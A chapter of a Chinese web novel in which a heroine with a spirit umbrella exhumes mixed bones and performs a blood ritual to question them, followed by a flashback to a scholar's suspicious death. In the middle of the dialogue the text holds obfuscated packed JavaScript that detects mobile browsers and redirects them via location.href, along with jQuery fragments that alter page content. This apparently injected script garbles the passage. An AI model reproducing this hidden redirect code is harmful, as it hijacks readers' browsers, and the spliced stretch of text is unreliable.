97. 棺材惊魂案十一

作品:《执伞:姜娘子又被扣生命值

    天色昏暗,山中夜幕至,多少寒凉了些。


    周然然坟前,燃起篝火,几人围坐一团,面露难色。


    “这白骨不对,然然走了两年,两年时间,怎么可能会化作白骨!”李宁白既气愤又痛心,曾为司法参军的他,不可能瞧不出这其中蹊跷。


    “李叔说得对!绝对不是然然,到底是谁丧心病狂,连尸身都不放过!”左中照激动极了。


    倒是其余三人,冷静得有些过了头。


    他们甚至比不上须回激动。


    “左参军说得对!如此丧心病狂,枉为人,我们一定要查出真相!小姜水,你说两句!”


    姜妘被点名,蹙眉起身,半晌后,方才道:“真相是一定要查的,我有个法子,诸君可愿配合?”


    “什么法子姜娘子尽管说,我们定当全力配合!”左中照率先开口。


    “没错,中照所言就是我之所愿!事关然然,我全力配合!”李宁白也站了起来。


    而其余三人,仍旧一言不发。


    左中照急了,一把拽起顾末:“顾兄,哦不,周兄!然然可是你亲姐姐!”


    顾末有所感触,正要开口,却被周家夫妇一个眼神,堵住了嘴。


    阮淑道:“然然之死自然要查,只是应该交由官府来查方符合规矩,姜娘子的好意,我夫妇二人心领,不过此事姜娘子最好还是不要管了。”


    “你怎么回事?什么叫不要管了?”须回急道,“我们这是为谁呀?还不是为了你们!我怎么看你怪怪的,阮夫人,你好像不太急啊,怎么周末是你儿子,周然然就不是你女儿了?”


    阮淑面色不悦,顾末见之慌忙打起圆场:“须回小郎君,我娘亲不是这个意思,你们别急别急,阿姐的死,是一定要查的……”


    “查可以,但请姜娘子不要插手。”阮淑态度极硬,丝毫不做退让。


    须回气得要与她在理论一番,对方却直接叫上李宁白几人,将周然然的棺材埋了回去。


    “喂!你们干什么?这是证据啊,不是要让官府查吗?”


    可没人听他的,甚至连李宁白和左中照都选择沉默。


    须回这脾气,可受不得这些,眼见着就要争论起来,姜妘却拦住了他。


    他满眼不解,姜妘微微低首,示意他安心。


    瞧着忙碌埋土的五人,姜妘道:“既如此,这里也不需要我与阿弟了,那我们就先走了,诸位保重。”


    李宁白听后,方要挽留,却不想才一回头,竟已不见二人踪影。


    十丈之外,枫树之下,是离去的姜妘二人。


    须回气得来回踱步:“一群忘恩负义,有眼无珠的家伙!我就不信他们自己能查得清楚。”


    姜妘低眸沉思,慢声道:“很奇怪。”


    “很奇怪?什么很奇怪?”须回不明白。


    “他们所有人都很奇怪。”姜妘若有所思,“尤其是那个周中喆,你不觉得他一直无言吗?”


    须回恍然:“你这么一说还真是,除了昨日,他就没说过一句话,相反都是那个阮夫人在做主。”


    “这就是最奇怪的地方。死得好歹是他们的女儿,尤其我听说周中喆从前疼女儿胜过儿子,可今日一瞧,他对子女毫无感情……不,不是毫无感情,是他根本就没有思想。”


    姜妘恍然大悟:“须回,我明白了,周中喆他不是人。”


    须回惊讶:“什么?不是人?难道他是?”


    “是傀儡!”一人一伞异口同声,默契默地对视一眼。


    不远处埋骨五人组已然离去,坟前空空如也,只有还未燃尽的零星之火。


    “走吧须回。”姜妘迈着步子往回而去。


    须回忙寸步不离跟上,“小姜水,你该不会是打算?”他语气急切。


    “知我者莫过于须回也,我就是打算‘问骨’。”


    话音出,须回却紧张极了:“小姜水,你真的要滴血问骨吗?这可是‘入魂’中级别最高,亦是最危险的方式,你忘了苏州之事了?那可是快要了你半条命啊!若不是沈暮计划深远,只怕你已经没命了!况且我看那些骨头完全就不是一个人了,那意味着你要一一问骨,将记忆拼凑才行!”


    须回担忧之音,一刻不停萦绕姜妘耳边。


    一人一伞已然来到了周然然坟前。


    姜妘回身,对不断劝阻她的须回说道:“我明白此事危险,可须回,我不知为何,最近总在思考一个问题。”


    她的表情是从未有过的认真,须回不由得也正视起来,问道:“什么?”


    姜妘沉默片刻,抬眼望向无边苍穹,星光点点,蔓延至寰宇深处。


    她看着那最深处,清晰可见的一点星光,缓缓道:“从前我只觉得,万物变迁,人类不过是尘埃一缕,缘起缘灭,最后也不过是化作一抔黄土,我为之死而痛心,为之生而欢喜,也为之坏而气愤,更为之善而感触。可终究未有为之生为人而感之幸。其根源大概便是,我一直在救苍生之魂,可却并不认同,苍生可救。”


    话音生生断住,姜妘眼中,被寰宇寂静所侵染。


    须回望向她时,只觉得她显得愈发孤独,心中便也如揪心般疼。


    “可是姜水,你每次执伞,都是不计后果在救他们,或许,你之所困,正是因为如此。”


    姜妘被浩瀚星空拽走的思绪,猛然回神,她眼底星光退去,此时此刻,只有须回那双澄澈的眼睛。


    二人四目相对,忽而相视一笑。


    姜妘心底孤寂一扫而过,拍了拍须回肩膀,却是半晌无言。


    片刻后,她方转过身,手中多了一柄铲子,一铲一铲,挖起了坟。


    须回见状,过来取过铲子,挖了起来。


    “挖坟这种事,哪里需要主人亲自动手,应当是我来才是!”


    姜妘眼底湿润,心中一暖,柔声道:“谢谢你须回。”


    谢谢你让我明白,潜意识之所为,才是我心中真正所想。


    问骨之术,极耗心神,更耗心血。


    须回将白骨挖出,姜妘则将骨头拼在一块,拼成了一个,四肢大小不一的“尸体”。


    “果然都不是同一个人的骨头,一、二、三……”须回从头到尾数了一遍,满眼愕然,“整整三十六块!这是不是说明这里有三十六人?”


    姜妘沉凝片刻:“应该不是三十六人,你看这根手指,和那根脚拇指的色泽,是不是有些相似。”


    须回若醍醐灌顶:“果真相似,那是不是意味着这是同一人的?”


    “还不确定,但问骨之后,同一人的白骨会相认,所以,我们开始吧。”


    欲行问骨之法,需问骨之人的血为诱引,实行入魂之术,问埋骨人之每人三句。


    姜妘先前只在“执伞者必学之术法”一书中见过“问骨之法”,从未实践,如今倒给了她一个机会。


    只见她划破手掌,鲜血滴在那三十六块拼合的尸骨之上,刹那间,便有红光漫天而出。


    须回化作红伞,悬于空中,寸步不离地守护姜妘。


    而伞下之人,双目紧闭,早已入虚无之境。


    ……


    “快看快看,来人了!”


    “您可算来了,快来点评点评,我这首词写得如何?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843068|176410||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “哎呀你那种无比呻吟的情爱有什么好看的,周老,来看看我的!”


    周忧明一踏入塔楼,就被一群人围着。


    他取过其中一篇诗作,拜读之后,眼前一亮道:“守仁忧国忧民,这句‘乱世安能独善之‘,可谓是说到为兄心坎上了!”


    刘守仁如遇伯乐:“周兄懂我!故国纷乱,安能无所作为?所以我打算弃文从武,前去投军!”


    遂有人出声阻止:“刘老刘老,您都五十有八了,何必去趟战争那趟浑水,说不定还给人家军营添乱呢,届时打起来,是先救您还是先杀敌呢?”


    赵宗赫向来快人快语,众人也就习惯了。


    刘守仁哼了一声:“就你赵家能打仗是吧?我们越州五杰也就出了你这一个莽夫了。”


    “五杰?什么五杰?”周忧明不解。


    刘守仁忙解释:“周老,这五杰是指周、赵、刘、荀、徐五家。”


    周忧明恍然:“原来如此,守仁这五杰人选,倒也合理。”


    “知我者周老也!”刘守仁激动不已,“宗赫,周老都说合理,你再没理由反对了吧?”


    赵宗赫道:“既然周老都同意了,那就成立吧。”


    越州五杰就那样成立了,志在调停一切不平之事。


    却不知遇到的第一件事,就彻底成了他们解散的原因。


    越州城门口,茶汤铺子。


    小二端了壶茶,方给一名女客人送了过去,就见一名白胡子老者坐了下来。


    紧接着,另一名四十来岁的男子也来到了此处。


    他们二人坐于一桌,侃侃而谈,谈至深处更是义愤填膺。


    “岂有此理!塔山是越州百姓的塔山,怎会是什么顾家的私产?”


    “周老,这件事必须让官府给个说法!”


    “我这就去起草讼纸,势必要阻止此事!”


    周忧明二人气哄哄走了。


    第二日,刘守仁并未等来周忧明的讼纸,等来的却是周忧明暴毙而亡的噩耗


    大雨倾盆下了整整一夜,周忧明的尸身静静躺在灵堂,右手处甚至断了两指,正是握笔所用之手指。


    有人生生斩断了他的手指,那个写了一手好字的举人,就那样没了。


    刘守仁痛心疾首,鞠躬行礼:“嫂夫人,请您节哀。”


    周夫人点头回礼,声音悲怆:“多谢刘先生。


    刘守仁道:“嫂夫人放心!我定替周老报仇!”


    “不。”周夫人阻止道,“刘先生,夫君留有遗书,说让你切莫冲动为他报仇,他是自缢而亡。”


    刘守仁万万不信此话:“自缢而亡?怎么可能?自缢而亡会断自己手指吗?嫂夫人,我知你是担忧我出事,没事!我不怕他们,我一定要替周老报仇!”


    他总是容易冲动,眼下已经离开了周府,怒气冲冲跑去官府鸣冤击鼓。


    周夫人摇了摇头,自袖中取出一封书信,交给随刘守仁一同前来那名女子。


    “小娘子,拜托将这份信交给你家主子,一定要劝他,切莫冲动。”


    “是。”她接过信,却迟迟未曾离开。


    周夫人困惑至极:“小娘子?怎么不走?在不走就赶不上救你家主子了。”


    “信肯定能送到的,只是在此之前,我想问您三个问题,且您必须如实相告。”


    周老夫人微愕:“你是?”


    “我是谁并不重要,重要的是,我是来帮你们的人。”


    周老夫人只觉得有一股无形之力,让她无比信任眼前这位额间一点红痣,貌若观音,手执红伞的女子。